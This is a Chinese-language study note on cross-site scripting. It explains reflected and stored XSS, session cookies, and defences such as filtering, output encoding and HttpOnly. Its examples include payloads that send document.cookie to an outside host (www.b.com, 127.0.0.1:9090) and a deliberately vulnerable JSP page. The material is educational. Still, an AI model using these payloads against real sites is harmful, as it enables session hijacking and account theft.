關於XSS

時間 2019-11-11

標籤關於 xss 欄目 JavaScript 简体版

原文原文鏈接

XSS是什麼？javascript

cross site Scripting(跨域腳本攻擊)，它與SQL注入是很是類似的，SQL注入攻擊中以SQL語句做爲用戶輸入，從而達到查詢/修改/刪除數據的目的，而在XSS攻擊中，經過惡意腳本，實現對用戶瀏覽器的控制。好像還有點抽象，它是web程序中常見的漏洞，XSS屬於被動式且用於客戶端的攻擊方式，因此容易被忽略其危害性。其原理是攻擊者向有XSS漏洞的網站中輸入（傳入）惡意的HTML代碼或惡意腳本，當其餘用戶瀏覽該網站時，這段代碼就會自動執行，從而達到攻擊的目的。如，盜取用戶Cookie，破壞頁面結構，重定向到其餘網站等。css

這段話是使我最能理解的，二話不說貼上來html

「XSS原稱爲CSS(Cross-Site Scripting)，由於和層疊樣式表(Cascading Style Sheets)重名，因此改稱爲XSS(X通常有未知的含義，還有擴展的含義)。XSS攻擊涉及到三方：攻擊者，用戶，web server。用戶是經過瀏覽器來訪問web server上的網頁，XSS攻擊就是攻擊者經過各類辦法，在用戶訪問的網頁中插入本身的腳本，讓其在用戶訪問網頁時在其瀏覽器中進行執行。攻擊者經過插入的腳本的執行，來得到用戶的信息，好比cookie，發送到攻擊者本身的網站(跨站了)。因此稱爲跨站腳本攻擊。XSS能夠分爲反射型XSS和持久性XSS，還有DOM Based XSS。(一句話，XSS就是在用戶的瀏覽器中執行攻擊者本身定製的腳本。)」java

XSS有哪些類型？web

1. 非持久型攻擊（也叫反射型攻擊）。經過GET和POST方法，向服務器端輸入數據。用戶　　　　　輸入的數據一般被放置在URL的query string中，或者是form數據中。若是服務器端對輸入的數據不進行過濾，驗證或編碼，就直接將用戶輸入的信息直接呈現給客戶，則可能形成反射型ＸＳＳ。其危害也不小，如在輸入框的name中輸入<meta http-equiv="refresh" content="5"/>,服務器不加處理，將name直接送到瀏覽器，則瀏覽器會每5秒自動刷新一次，那這服務器不得崩潰？另外，非持久型攻擊是一次性的，僅對當次的頁面訪問產生影響。非持久型ＸＳＳ攻擊要求用戶訪問一個被攻擊者篡改後的連接，用戶訪問該連接時，被植入的攻擊腳本被用戶瀏覽器執行，從而達到攻擊目的數據庫

2.持久型攻擊（存儲型攻擊）一般是由於服務器端將用戶輸入的惡意腳本沒有經過驗證就直接存儲在數據庫，而且每次經過調用數據庫的方式，將數據呈如今瀏覽器上。則該ＸＳＳ跨站腳本攻擊將一直存在。若其餘用戶訪問該網頁，則惡意腳本就會被觸發，用於盜取其餘用戶的私人信息。跨域

總的來講，ＸＳＳ漏洞分爲兩種，一種是ＤＯＭ　ｂａｓｅｄ　ＸＳＳ　漏洞，另外一種是ｓｔｏｒｅｄ　ＸＳＳ漏洞。其實跟上面的兩種是同樣的。理論上，全部可輸入的地方沒有對輸入數據進行處理的話，都會存在ＸＳＳ漏洞，漏洞的危害取決於攻擊代碼的威力，攻擊代碼也不侷限於ｓｃｒｉｐｔ。瀏覽器

ＸＳＳ的示例？服務器

1. 輸入框中直接輸入惡意腳本，如：cookie

><script>alert(document.cookie)</script>

或者 "> <script> document.location.href='http://127.0.0.1:9090/xss?foo='+document.cookie</script>

2. 輸入框中輸入html標籤，在標籤中嵌入惡意腳本，如src，href，css style等。

<IMG SRC="javascript:alert('XSS');">;

<STYLE>li {list-style-image:url("javascript:alert('XSS')");}</STYLE><UL><LI>XSS</br>

3. 將惡意腳本注入在event事件中，如onClick，onBlur，onMouseOver等事件。

<a onmouseover="alert(document.cookie)">xxslink</a>

4. 在remote style sheet，javascript中，如

　　　　　5. META 標籤，如

<META HTTP-EQUIV="Set-Cookie"Content="USERID=<SCRIPT>alert('XSS')</SCRIPT>">

非持久性攻擊的示例：

當我登陸a.com後，我發現它的頁面某些內容是根據url中的一個叫content參數直接顯示的，猜想它測頁面處理多是這樣，其它語言相似：

<%@ page language="Java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>

<!DOCTYPEhtmlPUBLIC"-//W3C//DTD HTML 4.01 Transitional//EN""http://www.w3.org/TR/html4/loose.dtd">

<html>

<head>

<title>XSS測試</title>

</head>

<body>

頁面內容：<%=request.getParameter("content")%>

</body>

</html>

我知道了Tom也註冊了該網站，而且知道了他的郵箱(或者其它能接收信息的聯繫方式)，我作一個超連接發給他，超連接地址爲：http://www.a.com?content=<script>window.open(「www.b.com?param=」+document.cookie)</script>，當Tom點擊這個連接的時候(假設他已經登陸a.com)，瀏覽器就會直接打開b.com，而且把Tom在a.com中的cookie信息發送到b.com，b.com是我搭建的網站，當個人網站接收到該信息時，我就盜取了Tom在a.com的cookie信息，cookie信息中可能存有登陸密碼，攻擊成功！這個過程當中，受害者只有Tom一個。

持久性攻擊示例：

因爲其攻擊代碼已經存儲到服務器上或者數據庫中，因此被攻擊者是不少人。

a.com能夠發文章，我登陸後在a.com中發佈了一篇文章，文章中包含了惡意代碼，<script>window.open(「www.b.com?param=」+document.cookie)</script>，保存文章。這時Tom和Jack看到了我發佈的文章，當在查看個人文章時就都中招了，他們的cookie信息都發送到了個人服務器上，攻擊成功！這個過程當中，受害者是多我的。
Stored XSS漏洞危害性更大，危害面更廣。

session背景知識

咱們知道HTTP是一個無狀態維持的協議，全部請求/應答都是獨立的，其間不保存狀態信息。但有些場景下咱們須要維護狀態信息，例如用戶登陸完web應用後，再必定時間內，用戶再進行登陸，應不須要再輸入用戶名/密碼進行鑑權。

這時咱們用cookie和session解決狀態維護問題，當用戶首次登入時，服務器爲該用戶建立一個 session ID，同時向遊覽器傳送一個 cookie，cookie保存會話鏈接中用到的數據，session ID做爲會話標識，遊覽器後續的請求均基於該session ID。

攻擊者能夠提供一個攻擊連接，當用戶點擊該連接時，向攻擊者本身的服務器發送一條保存有用戶session ID的信息，這樣就能夠竊取到用戶的session ID，獲得用戶的執行權限。

這篇就寫的很好：http://www.cnblogs.com/bangerlee/archive/2013/04/06/3002142.html

ＸＳＳ的防護？

　　　ｘｓｓ存在的根本緣由是，對ＵＲＬ中的參數，對用戶輸入提交給服務器的內容，沒有進行充分的過濾。若是咱們可以在ｗｅｂ程序中，對用戶提交的ＵＲＬ中的參數，和提交的全部內容，進行充分的過濾，將全部的不合法的參數和輸入的內容過濾掉，那麼就不會致使「在用戶的瀏覽器中執行攻擊者本身制定的腳本」。

可是，其實充分是而徹底的過濾，其實是沒法實現的，由於攻擊者有各類各樣的神奇的，你徹底想象不到的方式來繞過服務器端的過濾，最典型的就是對ＵＲＬ和參數進行各類編碼，好比　escape, encodeURI, encodeURIComponent, 16進制，10進制，8進制，來繞過XSS過濾。那麼咱們如何來防護XSS呢？

整體思路是：對輸入的的值進行過濾，對輸出進行編碼。也就是對所提交的全部內容進行過濾，對ＵＲＬ中的參數進行過濾，過濾會致使腳本執行的相關內容；而後對動態輸出到頁面的ｈｔｍｌ編碼，使得腳本沒法在瀏覽器中執行。雖然對輸入過濾能夠被繞過，但仍是會攔截很大一部分的ｘｓｓ攻擊的哦。

一、對於敏感的cookie信息，使用HttpOnly，使document對象中找不到cookie。　二、對於用戶輸入的信息要進行轉義

得弄個示例，之後回來繼續！

本文整理僅供小愛我的學習